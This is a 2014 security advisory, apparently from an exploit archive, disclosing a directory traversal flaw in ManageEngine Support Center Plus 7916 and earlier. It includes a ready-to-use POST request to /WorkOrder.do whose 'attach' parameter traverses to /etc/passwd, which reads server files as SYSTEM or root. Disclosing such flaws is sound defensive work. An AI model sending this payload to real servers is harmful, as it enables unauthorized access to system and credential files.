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ManageEngine Support Center Plus 7916 Directory Traversal

ManageEngine Support Center Plus 7916 Directory Traversal
Posted Jan 28, 2014
Authored by xistence

ManageEngine Support Center Plus versions 7916 and below suffer from a directory traversal vulnerability.

tags | exploit
MD5 | e0428e48a6efb94dfc9652f9aa0ebed2

ManageEngine Support Center Plus 7916 Directory Traversal

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Author:
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xistence < xistence[at]0x90[.]nl >

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Affected products:
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ManageEngine Support Center Plus 7916 and lower

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Affected vendors:
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ManageEngine
http://www.manageengine.com/

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Product description:
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SupportCenter Plus is a web-based customer support software that lets
organizations effectively manage customer tickets,
their account & contact information, the service contracts and in the
process providing a superior customer experience.

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Details:
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[ 0x01 - Directory Traversal ]

Support Center Plus 7916 and lower is prone to a directory traversal
vulnerability. When creating a ticket and attaching
a file, this can be tampered to link to a local file on the server side.
By downloading the attachment from the ticket, the server file is
downloaded with the same privileges as the
Support Center Plus instance, which on windows is SYSTEM. On linux Support
Center Plus is mostly installed as the root user.

POST parameters when submitting a ticket to the /WorkOrder.do url and
attaching the server /etc/passwd:

category=&MOD_IND=WorkOrder&attachments=passwd&subCategory=0&addWO=addWO&title=pwned&attPath=
&component=Request&reqTemplate=&reqName=Guest&priority=2&item=0&reqID=2&attSize=31337&autoCCList=
&FORMNAME=WorkOrderForm&usertypename=Requester
&attach=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&prodId=0&description=pwned


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Solution:
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Upgrade to a build higher than 7916.

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Timeline:
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Fixed somewhere back in 2013 :)

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